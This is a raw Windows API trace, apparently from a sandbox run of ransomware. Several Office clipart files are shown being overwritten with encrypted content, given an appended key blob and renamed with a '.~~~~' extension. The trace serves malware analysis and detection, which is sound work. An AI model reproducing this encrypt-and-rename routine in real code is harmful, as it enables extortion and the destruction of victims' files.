	[0114.358] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23434792791) returned 1
	[0114.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadc457f0, dwHighDateTime=0x1d60e1e)) 
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839d10
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839d10 | out: hHeap=0x300000) returned 1
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837850
	[0114.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.359] GetLastError () returned 0x0
	[0114.359] GetLastError () returned 0x0
	[0114.359] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.359] GetLastError () returned 0x0
	[0114.359] GetLastError () returned 0x0
	[0114.361] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe4fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.361] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1b04, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b04, lpOverlapped=0x0) returned 1
	[0114.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.363] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.364] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.364] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.364] CloseHandle (hObject=0x148) returned 1
	[0114.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.~~~~")) returned 1
	[0114.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.366] GetLastError () returned 0x0
	[0114.367] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.368] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.368] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.368] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23435834710) returned 1
	[0114.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadc457f0, dwHighDateTime=0x1d60e1e)) 
	[0114.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839d48
	[0114.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839d48 | out: hHeap=0x300000) returned 1
	[0114.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28377b8
	[0114.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.369] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.369] GetLastError () returned 0x0
	[0114.369] GetLastError () returned 0x0
	[0114.369] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.370] GetLastError () returned 0x0
	[0114.370] GetLastError () returned 0x0
	[0114.410] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffc956, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.410] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x36aa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x36aa, lpOverlapped=0x0) returned 1
	[0114.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0114.411] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.411] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.411] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.412] CloseHandle (hObject=0x148) returned 1
	[0114.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.~~~~")) returned 1
	[0114.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.461] GetLastError () returned 0x0
	[0114.468] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.469] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.469] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.469] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23445945482) returned 1
	[0114.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadd50190, dwHighDateTime=0x1d60e1e)) 
	[0114.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839798
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839798 | out: hHeap=0x300000) returned 1
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837980
	[0114.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.470] GetLastError () returned 0x0
	[0114.471] GetLastError () returned 0x0
	[0114.471] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.471] GetLastError () returned 0x0
	[0114.471] GetLastError () returned 0x0
	[0114.473] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff70f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.473] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x8f0e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8f0e, lpOverlapped=0x0) returned 1
	[0114.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.475] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.475] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.475] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.475] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.476] CloseHandle (hObject=0x138) returned 1
	[0114.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.476] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.~~~~")) returned 1
	[0114.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.477] GetLastError () returned 0x0
	[0114.478] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.479] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.479] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.479] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23446919473) returned 1
	[0114.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadd50190, dwHighDateTime=0x1d60e1e)) 
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839f40
	[0114.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839f40 | out: hHeap=0x300000) returned 1
	[0114.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837e40
	[0114.480] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.480] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.480] GetLastError () returned 0x0
	[0114.480] GetLastError () returned 0x0
	[0114.480] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.480] GetLastError () returned 0x0
	[0114.481] GetLastError () returned 0x0
	[0114.483] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd7c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.483] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x283c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x283c, lpOverlapped=0x0) returned 1
	[0114.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.485] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.485] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.485] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.485] CloseHandle (hObject=0x138) returned 1
	[0114.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.~~~~")) returned 1
	[0114.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.487] GetLastError () returned 0x0
	[0114.487] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0114.488] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.488] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0114.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0114.489] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23447868595) returned 1
	[0114.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xadd762f0, dwHighDateTime=0x1d60e1e)) 
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839f78
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839f78 | out: hHeap=0x300000) returned 1
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837ed8
	[0114.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.489] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0114.490] GetLastError () returned 0x0
	[0114.490] GetLastError () returned 0x0
	[0114.490] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0114.490] GetLastError () returned 0x0
	[0114.490] GetLastError () returned 0x0
	[0114.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffaeb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.493] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x514c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x514c, lpOverlapped=0x0) returned 1
	[0114.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.494] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.495] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.495] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.495] CloseHandle (hObject=0x138) returned 1
	[0114.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0114.495] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.~~~~")) returned 1
	[0114.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0114.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0114.568] GetLastError () returned 0x0
	[0114.587] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
